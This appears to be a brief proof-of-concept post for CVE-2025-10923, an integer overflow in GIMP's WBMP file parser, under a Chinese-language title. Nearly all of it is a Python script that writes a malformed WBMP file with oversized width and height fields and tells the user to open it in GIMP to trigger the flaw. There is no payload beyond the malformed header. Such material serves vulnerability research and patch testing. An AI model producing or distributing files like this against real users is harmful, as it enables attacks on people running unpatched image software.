CVE-2025-10923 GIMP WBMP文件解析整数溢出远程代码执行漏洞

import struct def create_malicious_wbmp(): """ Generate a malicious WBMP file to trigger CVE-2025-10923 Integer overflow in WBMP file parsing in GIMP """ # WBMP Type 0 header wbmp_data = bytearray() # WBMP file header wbmp_data.append(0x00) # WBMP Type wbmp_data.append(0x00) # FixHeaderField # Trigger integer overflow with large width value # Using value that will overflow when multiplied large_width = 0xFFFFFFFF # Encode var-length integer (WBMP uses this encoding) # This creates an oversized value that can cause integer overflow width_encoded = bytes([0xFE, 0xFF, 0xFF, 0xFF, 0x0F]) height_encoded = bytes([0xFE, 0xFF, 0xFF, 0xFF, 0x0F]) wbmp_data.extend(width_encoded) wbmp_data.extend(height_encoded) # Add minimal image data wbmp_data.append(0x00) with open('CVE-2025-10923_poc.wbmp', 'wb') as f: f.write(wbmp_data) print("Malicious WBMP file created: CVE-2025-10923_poc.wbmp") print("Open this file with GIMP to trigger the vulnerability") if __name__ == '__main__': create_malicious_wbmp()